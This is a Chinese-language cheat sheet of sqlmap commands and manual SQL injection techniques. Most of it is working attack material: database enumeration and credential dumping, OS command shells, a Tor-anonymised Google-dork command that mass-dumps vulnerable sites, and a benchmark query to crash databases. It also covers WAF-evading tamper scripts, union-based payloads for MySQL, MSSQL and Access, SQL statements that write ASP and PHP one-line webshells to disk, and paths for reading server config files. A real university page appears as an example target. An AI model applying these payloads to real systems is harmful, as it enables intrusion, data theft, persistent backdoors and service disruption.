sqlmap笔记

安装

1
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

部分练习注入点

1
http://testasp.vunweb.com/Login.asp

基本用法

1
python sqlmap.py -hh

-u 之后是注入点 url
-D 指定数据库
-T 指定表
-C 指定字段

1
2
3
4
5
6
7
8
9
10
11
./sqlmap.py sqlmap -u "http://www.xxx.com" //查是否有注入,一些基本信息
./sqlmap.py -u "http://www.xxx.com" --dbs //枚举数据库
./sqlmap.py sqlmap -u "http://www.xxx.com" --tables //表名枚举
./sqlmap.py sqlmap -u "http://www.xxx.com" --columns -T 数据库表名 //字段枚举
./sqlmap.py sqlmap -u "http://www.xxx.com" --dump -T 数据库表名 -C "字段1,字段2,字段3" //dump
./sqlmap.py -u "http://www.xxx.com" --dump -D 数据库名 -T 表名 -C "字段名1,字段名2,字段名3" //dump

利用cookies

1
2
3
--level 2 枚举强度
--cookie "id=9"

在ASP中,request对象获取客户端提交数据常用的是get和post两种方式,同时request对象可以不通过集合来获得数据,即直接使用”request(“name”)”. 但它效率低下,容易出错,当我们省略具体的集合名称时,asp是按QueryString(get),Form(post),Cookie,Severvariable,集合的顺序来搜索的.cookie是保存在客户端的一个文本文件,可以进行修改,这样一来,就可以利用Request.cookie方式来提交变量的值,从而利用系统的漏洞进行注入攻击

表单

表单枚举

1
./sqlmap.py -u "http://www.xxx.com" --forms

指定表单数据

1
./sqlmap.py -u "http://www.xxx.com" --data "tfUName=1&UPass=1"

burpsuite抓包与构造 request请求

1
./sqlmap.py -r search_test.py -p tfUPass

交互式shell

1
2
3
4
5
6
7
./sqlmap.py -u "http://www.xxx.com" --os-cmd "ipconfig"
./sqlmap.py -u "http://www.xxx.com" --os-shell
./sqlmap.py -u "http://www.xxx.com" --os-pwn
./sqlmap.py -u "http://www.xxx.com" --sql-shell

php提供上传页面,使用shell可提权。

伪静态注入

1
2
3
"http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html"
./sqlmap.py -u "http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html"

请求延迟

1
2
--delay=DELAY Delay in seconds between each HTTP request
--safe-freq=SAFE.. Test requests between two visits to a given safe URL

google hacking

1
-g inurl:php?id=

DoS Attack

在 sql shell中执行

使用特定sql导致数据库报错停止运行

1
select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)

WAF bypass

1
2
--batch Never ask for user input, use the default behaviour
--tamper=TAMPER Use given script(s) for tampering injection data

常见encoder: space2hash.py, space2morehash.py, base64encode.py, charencode.py

示例

1
./sqlmap.py -u "http://www.xxx.com" -v 3 --dbs --batch --tamper "space2hash.py"

权限查看

1
--privileges Enumerate DBMS users privileges

示例

1
./sqlmap.py -u "http://www.xxx.com" --privileges

Tor与跳板

Tor

安装Tor服务

1
sudo apt-get install -y tor

启动Tor服务

1
sudo service tor start

下面的命令将运行SQLMap用一些基本的设置使用Tor继续攻击者匿名,也完全自动化的选择可能脆弱的网站,使其在谷歌上搜索他们。

从一个终端攻击者将执行下列(记住,这只是向您显示攻击者是多么容易,您可能不希望运行此):

1
2
3
4
./sqlmap.py --tor --tor-type=SOCKS5 -g "inurl:.php?id=1" --random-agent --dump-all --batch
--time-sec=15
Script Breakdown
--tor

使用Tor网络当连接到目标网站攻击

1
--tor-type=SOCKS5

在SOCKS5协议使用Tor,比默认Tor匿名类型HTTP代理更好用。

跳板今后补充

基本信息收集的SQL语句

oracle

1
2
3
select table_name,row_nums from user_tables order by row_nums desc [where table_name like '%%']
查询前10
select * from [table_name] where numrow<=10

mysql

1
2
3
select table_name from information_schema.tables [where table_name like '%%']
查询前10
select * from [table_name] limit 10

sqlserver

1
2
3
select a.name,b.rows from sysobjects a with(nolock) join sysindexes b on b.id=a.id where a.xtype='u' and b.indid in (0,1) order by b.rows desc
查询前10
select top 10 * from [table_name]

手注

基本常识

简单判定有无漏洞:
粗略型:提交单引号’
逻辑型(数字型注入):and 1=1/and 1=2
逻辑型(字符型注入):’ and ‘1’=’1/‘ and ‘1’=’2
逻辑型(搜索型注入):%’ and 1=1 and ‘%’=’%/%’ and 1=2 and ‘%’=’%

简单判断数据库信息:

粗略型:
加单引号’(根据服务器报错的信息来判断)
加;–(;表示分离,– 则是注释符,;和–MSSQL数据库有,ACCESS数据库没有)

逻辑型:
and user>0
and (select count() from msysobjects)>0 ……(页面错误为access数据库)
and (select count(
) from sysobjects)>0 ……(页面正常为MSSQL数据库)
and db_name()>0 ……(爆数据库名)
and version>0(爆SQLServer版本信息以及服务器操作系统的类型和版本信息)

判断MSSQL权限:
and 0<>(Select ISSRVROLEMEMBER(’sysadmin’))–(页面正常则为SA)
and 0<>(Select IS_MEMBER(’db_owner’))–(页面正常则为db_owner)
and 0<>(Select IS_MEMBER(’public’))–(页面正常则是public)
注意:
以上方法适用于参数是int数字型的时候。
若为字符型,需在参数后添加单引号’并在查询语句后添加;–,搜索型注入以此类推。

ACCESS注入基本流程:

猜解表名:
and 0<>(select count() from 表名) 或 and exists(Select from 表名)

猜解字段:
and exists(Select 字段名 from 表名)(页面正常存在该字段,不正常不存在该字段)

猜解用户名和密码长度:
and(Select top 1 len(列名) from 表名)>N
(TOP表示把最前面的一条记录提取出来;N为变换猜解的列长度,页面错误即说明该列长度为N)
如:
and 1=(select count() from user where len(name)>6) 错误
and 1=(select count(
) from user where len(name)>5) 正确
则表示user表中name字段的第一条记录的长度是6。

猜解用户名和密码:
and (select top 1 asc(mid(列名,1,1)) from 表名)>0
如:
and (select top 1 asc(mid(name,1,1)) from user)>96 页面正常
and (select top 1 asc(mid(name,1,1)) from user)>97 页面错误
则表示user表中name字段的第一条记录的第一个字符的ASCLL码为97
注意:
因为MD5的密文长度通常有16位、18位、32位、40位等几种,
所以猜解密码的时候试一试15、16、17、18、31、32、39、40等长度可以加快猜解进度。

MSSQL报错注入基本流程:

爆出表名和字段:having 1=1–

猜解表名:
获得第一个表名:
and (select top 1 name from sysobjects where xtype=’u’)>0
获得第二个表名:
and (select top 1 name from sysobjects where xtype=’u’ and name not in (‘user’))>0
以此类推。

猜解列名:
得到col_name表中的第一个列名:
and (select top 1 col_name(object_id(‘字段’),1) from sysobjects)>0

猜解字段内容:
and (select top 1 列名 from [表名])>0
如:
获取用户名:
and (select top 1 username from [admin])>0
获取密码:
and (select top 1 password from [admin])>0

导出webshell:
方法1:利用SQL执行命令功能导出WebShell
SELECT ‘<%execute request(“a”)%>’ into [vote] in ‘d:webx.asp;.xls’ ‘excel 8.0;’ from vote
注意:需拥有SQL执行权限且知道绝对路径
方法2:
建立一个有一个A字段的表 表名为a,字段类型为字符,长度为50。
在表A的a字段插入一句话木马,把表a的内容导出为物理路径的一个EXCEL文件。
导出为EXCEL后在利用IIS解析漏洞就可以变成webshell了。

方法2的SQL语句:

create table cmd (a varchar(50))
insert into cmd (a) values (‘<%execute request(“listentide”)%>’)
select * into [a] in ‘f:hostqhdyxtweba.asp;.xls’ ‘excel 4.0;’ from cmd
drop table cmd

MYSQL注入基本流程:

MYSQL注入漏洞是否存在的判断方法与ACCESS注入和MSSQL注入相同。

MYSQL注入漏洞的数据库类型判断方法也可以使用单引号’。

数据库权限判断:
and ord(mid(user(),1,1))=114 /* (页面正常说明为root)

判断当前页面字段总数:
方法1、用union联合查询:and 1=1 union select 1,2,3,4,5……
方法2、用order by 查询“order by *–

判断显示位:
方法1、http://www.f4ck.org/article.php?id=1 and 1=2 union select 1,2,3,4,5,6,7……
方法2、http://www.f4ck.org/article.php?id=-1 union select 1,2,3,4,5,6,7……

查库:
版本大于5.0的mysql的information_schema库中存储着mysql的所有数据库和表结构信息,所以可以利用information_schema库快速注入。
获取第一个库名:
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
获取第二个库名:
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 1,2
以此类推。

查表:
获取数据库中第一个表名:
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库名的十六进制 limit 0,1
获取数据库中第二个表名:
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库名的十六进制 limit 1,2

查列:
获取数据库中指定表的第一个列名:
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名的十六进制 limit 0,1
获取数据库中指定表的第二个列名:
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名的十六进制 limit 0,1

得到字段内容:
在不同的显示位显示不同的字段内容:
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
在同一个显示位显示不同的字段内容:
and 1=2 Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

一次性查出所有表名:
union select 1,2,3,4,GROUP_CONCAT(DISTINCT table_name),6 from information_schema.columns where table_schema=数据库名的16进制
一次性查出所有字段名:
union select 1,2,3,4,GROUP_CONCAT(DISTINCT column_name),6 from information_schema.columns where table_schema=数据库名的16进制

导出一句话WebShell:
方法1:
Drop TABLE IF EXISTS temp;
Create TABLE temp(cmd text NOT NULL);
Insert INTO temp (cmd) VALUES(‘’);
Select cmd from temp into out file ‘F:/wwwroot/eval.php’;
Drop TABLE IF EXISTS temp;
方法2:
Select ‘’ into outfile ‘F:/wwwroot/eval.php’;

load_file() 常用路径:

c:/windows/system32/inetsrv/MetaBase.xml 查看IIS的虚拟主机配置文件
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
c:/Program Files/Apache Group/Apache/conf/httpd.conf 或C:/apache/conf/httpd.conf 查看WINDOWS系统apache的配置文件
c:/Resin-3.0.14/conf/resin.conf查看jsp开发的网站 resin文件配置信息

绕过的技巧

使用sqlmap中tamper脚本绕过waf

备注

简介:文章主要讲了一些常见混淆和绕过注入的手法。
https://www.exploit-db.com/papers/17934/

sql_injection wiki
http://websec.ca/kb/sql_injection
https://docs.google.com/document/edit?id=1rO_LCBKJY0puvRhPhAfTD2iNVPfR4e9KiKDpDE2enMI
简介:非常好的一本手册,讲了一些注入的一些手法。涉及到的数据库有:MySQL、MSSQL、ORACLE等

参考资料

[0] NaviSec

[1] 羽翼SQLMAP系列课程
[2] sqlmap - github
[3] hack80 sqlmap公开课
[4] 常规SQL注入笔记《干货不扯淡》
[5] 使用sqlmap中tamper脚本绕过waf
[6] SQLmap 用户手册